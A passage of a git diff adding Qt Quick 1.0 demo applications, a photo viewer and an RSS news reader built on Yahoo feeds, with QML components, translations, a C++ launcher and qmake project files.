+ NumberAnimation { target: flipable; property: "scale"; to: 1.0; duration: 200 }
+ }
+ }
+ }
+}
diff --git a/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/images/box-shadow.png b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/images/box-shadow.png
new file mode 100644
index 00000000..431af854
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/images/box-shadow.png
Binary files differ
diff --git a/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/images/busy.png b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/images/busy.png
new file mode 100644
index 00000000..664c2b14
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/images/busy.png
Binary files differ
diff --git a/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/images/cardboard.png b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/images/cardboard.png
new file mode 100644
index 00000000..1847ab52
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/images/cardboard.png
Binary files differ
diff --git a/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/qmldir b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/qmldir
new file mode 100644
index 00000000..d3c247f2
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/qmldir
@@ -0,0 +1,8 @@
+AlbumDelegate AlbumDelegate.qml
+PhotoDelegate PhotoDelegate.qml
+ProgressBar ProgressBar.qml
+RssModel RssModel.qml
+BusyIndicator BusyIndicator.qml
+EditableButton EditableButton.qml
+Button Button.qml
+Tag Tag.qml
diff --git a/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/script/script.js b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/script/script.js
new file mode 100644
index 00000000..e8ef93a8
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/script/script.js
@@ -0,0 +1,27 @@
+.pragma library
+
+function getWidth(string) {
+ return (string.match(/width=\"([0-9]+)\"/))[1]
+}
+
+function getHeight(string) {
+ return (string.match(/height=\"([0-9]+)\"/))[1]
+}
+
+function getImagePath(string) {
+ var pattern = /src=\"http:\/\/(\S+)\"/
+ return (string.match(pattern))[1]
+}
+
+function calculateScale(width, height, cellSize) {
+ var widthScale = (cellSize * 1.0) / width
+ var heightScale = (cellSize * 1.0) / height
+ var scale = 0
+
+ if (widthScale <= heightScale) {
+ scale = widthScale;
+ } else if (heightScale < widthScale) {
+ scale = heightScale;
+ }
+ return scale;
+}
diff --git a/demos/declarative/photoviewer/qml/photoviewer/i18n/base.ts b/demos/declarative/photoviewer/qml/photoviewer/i18n/base.ts
new file mode 100644
index 00000000..1accfd2f
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/i18n/base.ts
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>AlbumDelegate</name>
+ <message>
+ <location filename="../PhotoViewerCore/AlbumDelegate.qml" line="59"/>
+ <source>Remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>photoviewer</name>
+ <message>
+ <location filename="../photoviewer.qml" line="30"/>
+ <source>Add</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../photoviewer.qml" line="39"/>
+ <source>Edit</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../photoviewer.qml" line="52"/>
+ <source>Back</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/demos/declarative/photoviewer/qml/photoviewer/i18n/qml_fr.qm b/demos/declarative/photoviewer/qml/photoviewer/i18n/qml_fr.qm
new file mode 100644
index 00000000..c24fcbc4
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/i18n/qml_fr.qm
Binary files differ
diff --git a/demos/declarative/photoviewer/qml/photoviewer/i18n/qml_fr.ts b/demos/declarative/photoviewer/qml/photoviewer/i18n/qml_fr.ts
new file mode 100644
index 00000000..9f892db6
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/i18n/qml_fr.ts
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="fr_FR">
+<context>
+ <name>AlbumDelegate</name>
+ <message>
+ <location filename="../PhotoViewerCore/AlbumDelegate.qml" line="59"/>
+ <source>Remove</source>
+ <translation>Supprimer</translation>
+ </message>
+</context>
+<context>
+ <name>photoviewer</name>
+ <message>
+ <location filename="../photoviewer.qml" line="30"/>
+ <source>Add</source>
+ <translation>Ajouter</translation>
+ </message>
+ <message>
+ <location filename="../photoviewer.qml" line="39"/>
+ <source>Edit</source>
+ <translation>Éditer</translation>
+ </message>
+ <message>
+ <location filename="../photoviewer.qml" line="52"/>
+ <source>Back</source>
+ <translation>Retour</translation>
+ </message>
+</context>
+</TS>
diff --git a/demos/declarative/photoviewer/qml/photoviewer/photoviewer.qml b/demos/declarative/photoviewer/qml/photoviewer/photoviewer.qml
new file mode 100644
index 00000000..049e9ca5
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/photoviewer.qml
@@ -0,0 +1,110 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "PhotoViewerCore"
+
+Rectangle {
+ id: mainWindow
+
+ property real downloadProgress: 0
+ property bool imageLoading: false
+ property bool editMode: false
+
+ width: 800; height: 480; color: "#d5d6d8"
+
+ ListModel {
+ id: photosModel
+ ListElement { tag: "Flowers" }
+ ListElement { tag: "Wildlife" }
+ ListElement { tag: "Prague" }
+ }
+
+ VisualDataModel { id: albumVisualModel; model: photosModel; delegate: AlbumDelegate {} }
+
+ GridView {
+ id: albumView; width: parent.width; height: parent.height; cellWidth: 210; cellHeight: 220
+ model: albumVisualModel.parts.album; visible: albumsShade.opacity != 1.0
+ }
+
+ Column {
+ spacing: 20; anchors { bottom: parent.bottom; right: parent.right; rightMargin: 20; bottomMargin: 20 }
+ Button {
+ id: newButton; label: qsTr("Add"); rotation: 3
+ anchors.horizontalCenter: parent.horizontalCenter
+ onClicked: {
+ mainWindow.editMode = false
+ photosModel.append( { tag: "" } )
+ albumView.positionViewAtIndex(albumView.count - 1, GridView.Contain)
+ }
+ }
+ Button {
+ id: deleteButton; label: qsTr("Edit"); rotation: -2;
+ onClicked: mainWindow.editMode = !mainWindow.editMode
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ Button {
+ id: quitButton; label: qsTr("Quit"); rotation: -2;
+ onClicked: Qt.quit()
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ }
+
+ Rectangle {
+ id: albumsShade; color: mainWindow.color
+ width: parent.width; height: parent.height; opacity: 0.0
+ }
+
+ ListView { anchors.fill: parent; model: albumVisualModel.parts.browser; interactive: false }
+
+ Button { id: backButton; label: qsTr("Back"); rotation: 3; x: parent.width - backButton.width - 6; y: -backButton.height - 8 }
+
+ Rectangle { id: photosShade; color: 'black'; width: parent.width; height: parent.height; opacity: 0; visible: opacity != 0.0 }
+
+ ListView { anchors.fill: parent; model: albumVisualModel.parts.fullscreen; interactive: false }
+
+ Item { id: foreground; anchors.fill: parent }
+
+ ProgressBar {
+ progress: mainWindow.downloadProgress; width: parent.width; height: 4
+ anchors.bottom: parent.bottom; opacity: mainWindow.imageLoading; visible: opacity != 0.0
+ }
+}
diff --git a/demos/declarative/rssnews/main.cpp b/demos/declarative/rssnews/main.cpp
new file mode 100644
index 00000000..d3f6026e
--- /dev/null
+++ b/demos/declarative/rssnews/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/rssnews/rssnews.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/demos/declarative/rssnews/qml/rssnews/content/BusyIndicator.qml b/demos/declarative/rssnews/qml/rssnews/content/BusyIndicator.qml
new file mode 100644
index 00000000..9f1fa5a0
--- /dev/null
+++ b/demos/declarative/rssnews/qml/rssnews/content/BusyIndicator.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ id: container
+ property bool on: false
+
+ source: "images/busy.png"; visible: container.on
+
+ NumberAnimation on rotation {
+ running: container.on; from: 0; to: 360; loops: Animation.Infinite; duration: 1200
+ }
+}
diff --git a/demos/declarative/rssnews/qml/rssnews/content/CategoryDelegate.qml b/demos/declarative/rssnews/qml/rssnews/content/CategoryDelegate.qml
new file mode 100644
index 00000000..568acce0
--- /dev/null
+++ b/demos/declarative/rssnews/qml/rssnews/content/CategoryDelegate.qml
@@ -0,0 +1,82 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: delegate
+
+ width: delegate.ListView.view.width; height: 60
+
+ Text {
+ text: name
+ color: delegate.ListView.isCurrentItem ? "white" : "black"
+ font { family: "Helvetica"; pixelSize: 16; bold: true }
+ anchors {
+ left: parent.left; leftMargin: 15
+ verticalCenter: parent.verticalCenter
+ }
+ }
+
+ BusyIndicator {
+ scale: 0.6
+ on: delegate.ListView.isCurrentItem && window.loading
+ anchors { right: parent.right; rightMargin: 10; verticalCenter: parent.verticalCenter }
+ }
+
+ Rectangle {
+ width: delegate.width; height: 1; color: "#cccccc"
+ anchors.bottom: delegate.bottom
+ visible: delegate.ListView.isCurrentItem ? false : true
+ }
+ Rectangle {
+ width: delegate.width; height: 1; color: "white"
+ visible: delegate.ListView.isCurrentItem ? false : true
+ }
+
+ MouseArea {
+ anchors.fill: delegate
+ onClicked: {
+ delegate.ListView.view.currentIndex = index
+ window.currentFeed = feed
+ }
+ }
+}
diff --git a/demos/declarative/rssnews/qml/rssnews/content/NewsDelegate.qml b/demos/declarative/rssnews/qml/rssnews/content/NewsDelegate.qml
new file mode 100644
index 00000000..e709de4e
--- /dev/null
+++ b/demos/declarative/rssnews/qml/rssnews/content/NewsDelegate.qml
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: delegate
+ height: column.height + 40
+ width: delegate.ListView.view.width
+
+ Column {
+ id: column
+ x: 20; y: 20
+ width: parent.width - 40
+
+ Text {
+ id: titleText
+ text: title; width: parent.width; wrapMode: Text.WordWrap
+ font { bold: true; family: "Helvetica"; pointSize: 16 }
+ }
+
+ Text {
+ id: descriptionText
+ width: parent.width; text: description
+ wrapMode: Text.WordWrap; font.family: "Helvetica"
+ }
+ }
+
+ Rectangle {
+ width: parent.width; height: 1; color: "#cccccc"
+ anchors.bottom: parent.bottom
+ }
+}
diff --git a/demos/declarative/rssnews/qml/rssnews/content/RssFeeds.qml b/demos/declarative/rssnews/qml/rssnews/content/RssFeeds.qml
new file mode 100644
index 00000000..028e2039
--- /dev/null
+++ b/demos/declarative/rssnews/qml/rssnews/content/RssFeeds.qml
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+ListModel {
+ id: rssFeeds
+
+ ListElement { name: "Top Stories"; feed: "rss.news.yahoo.com/rss/topstories" }
+ ListElement { name: "World"; feed: "rss.news.yahoo.com/rss/world" }
+ ListElement { name: "Europe"; feed: "rss.news.yahoo.com/rss/europe" }
+ ListElement { name: "Oceania"; feed: "rss.news.yahoo.com/rss/oceania" }
+ ListElement { name: "U.S. National"; feed: "rss.news.yahoo.com/rss/us" }
+ ListElement { name: "Politics"; feed: "rss.news.yahoo.com/rss/politics" }
+ ListElement { name: "Business"; feed: "rss.news.yahoo.com/rss/business" }
+ ListElement { name: "Technology"; feed: "rss.news.yahoo.com/rss/tech" }
+ ListElement { name: "Entertainment"; feed: "rss.news.yahoo.com/rss/entertainment" }
+ ListElement { name: "Health"; feed: "rss.news.yahoo.com/rss/health" }
+ ListElement { name: "Science"; feed: "rss.news.yahoo.com/rss/science" }
+ ListElement { name: "Sports"; feed: "rss.news.yahoo.com/rss/sports" }
+}
diff --git a/demos/declarative/rssnews/qml/rssnews/content/ScrollBar.qml b/demos/declarative/rssnews/qml/rssnews/content/ScrollBar.qml
new file mode 100644
index 00000000..109aa0ca
--- /dev/null
+++ b/demos/declarative/rssnews/qml/rssnews/content/ScrollBar.qml
@@ -0,0 +1,107 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: container
+
+ property variant scrollArea
+ property variant orientation: Qt.Vertical
+
+ opacity: 0
+
+ function position()
+ {
+ var ny = 0;
+ if (container.orientation == Qt.Vertical)
+ ny = scrollArea.visibleArea.yPosition * container.height;
+ else
+ ny = scrollArea.visibleArea.xPosition * container.width;
+ if (ny > 2) return ny; else return 2;
+ }
+
+ function size()
+ {
+ var nh, ny;
+
+ if (container.orientation == Qt.Vertical)
+ nh = scrollArea.visibleArea.heightRatio * container.height;
+ else
+ nh = scrollArea.visibleArea.widthRatio * container.width;
+
+ if (container.orientation == Qt.Vertical)
+ ny = scrollArea.visibleArea.yPosition * container.height;
+ else
+ ny = scrollArea.visibleArea.xPosition * container.width;
+
+ if (ny > 3) {
+ var t;
+ if (container.orientation == Qt.Vertical)
+ t = Math.ceil(container.height - 3 - ny);
+ else
+ t = Math.ceil(container.width - 3 - ny);
+ if (nh > t) return t; else return nh;
+ } else return nh + ny;
+ }
+
+ Rectangle { anchors.fill: parent; color: "Black"; opacity: 0.3 }
+
+ BorderImage {
+ source: "images/scrollbar.png"
+ border { left: 1; right: 1; top: 1; bottom: 1 }
+ x: container.orientation == Qt.Vertical ? 2 : position()
+ width: container.orientation == Qt.Vertical ? container.width - 4 : size()
+ y: container.orientation == Qt.Vertical ? position() : 2
+ height: container.orientation == Qt.Vertical ? size() : container.height - 4
+ }
+
+ states: State {
+ name: "visible"
+ when: container.orientation == Qt.Vertical ? scrollArea.movingVertically : scrollArea.movingHorizontally
+ PropertyChanges { target: container; opacity: 1.0 }
+ }
+
+ transitions: Transition {
+ from: "visible"; to: ""
+ NumberAnimation { properties: "opacity"; duration: 600 }
+ }
+}
diff --git a/demos/declarative/rssnews/qml/rssnews/content/images/busy.png b/demos/declarative/rssnews/qml/rssnews/content/images/busy.png
new file mode 100644
index 00000000..664c2b14
--- /dev/null
+++ b/demos/declarative/rssnews/qml/rssnews/content/images/busy.png
Binary files differ
diff --git a/demos/declarative/rssnews/qml/rssnews/content/images/scrollbar.png b/demos/declarative/rssnews/qml/rssnews/content/images/scrollbar.png
new file mode 100644
index 00000000..0228dcf9
--- /dev/null
+++ b/demos/declarative/rssnews/qml/rssnews/content/images/scrollbar.png
Binary files differ
diff --git a/demos/declarative/rssnews/qml/rssnews/rssnews.qml b/demos/declarative/rssnews/qml/rssnews/rssnews.qml
new file mode 100644
index 00000000..6b0e830a
--- /dev/null
+++ b/demos/declarative/rssnews/qml/rssnews/rssnews.qml
@@ -0,0 +1,111 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: window
+ width: 800; height: 480
+
+ property string currentFeed: "rss.news.yahoo.com/rss/topstories"
+ property bool loading: feedModel.status == XmlListModel.Loading
+
+ RssFeeds { id: rssFeeds }
+
+ XmlListModel {
+ id: feedModel
+ source: "http://" + window.currentFeed
+ query: "/rss/channel/item"
+
+ XmlRole { name: "title"; query: "title/string()" }
+ XmlRole { name: "link"; query: "link/string()" }
+ XmlRole { name: "description"; query: "description/string()" }
+ }
+
+ Row {
+ Rectangle {
+ width: 220; height: window.height
+ color: "#efefef"
+
+ ListView {
+ focus: true
+ id: categories
+ anchors.fill: parent
+ model: rssFeeds
+ footer: quitButtonDelegate
+ delegate: CategoryDelegate {}
+ highlight: Rectangle { color: "steelblue" }
+ highlightMoveSpeed: 9999999
+ }
+ ScrollBar {
+ scrollArea: categories; height: categories.height; width: 8
+ anchors.right: categories.right
+ }
+ }
+ ListView {
+ id: list
+ width: window.width - 220; height: window.height
+ model: feedModel
+ delegate: NewsDelegate {}
+ }
+ }
+ Component {
+ id: quitButtonDelegate
+ Item {
+ width: categories.width; height: 60
+ Text {
+ text: "Quit"
+ font { family: "Helvetica"; pixelSize: 16; bold: true }
+ anchors {
+ left: parent.left; leftMargin: 15
+ verticalCenter: parent.verticalCenter
+ }
+ }
+ MouseArea {
+ anchors.fill: parent
+ onClicked: Qt.quit()
+ }
+ }
+ }
+ ScrollBar { scrollArea: list; height: list.height; width: 8; anchors.right: window.right }
+ Rectangle { x: 220; height: window.height; width: 1; color: "#cccccc" }
+}
diff --git a/demos/declarative/rssnews/rssnews.desktop b/demos/declarative/rssnews/rssnews.desktop
new file mode 100644
index 00000000..7d02ed5f
--- /dev/null
+++ b/demos/declarative/rssnews/rssnews.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=rssnews
+Exec=/opt/rssnews/bin/rssnews
+Icon=rssnews64
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/rssnews/rssnews.pro b/demos/declarative/rssnews/rssnews.pro
new file mode 100644
index 00000000..6b1f68c2
--- /dev/null
+++ b/demos/declarative/rssnews/rssnews.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/rssnews
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE6B4EF2C
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_DEMOS]/declarative/rssnews
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
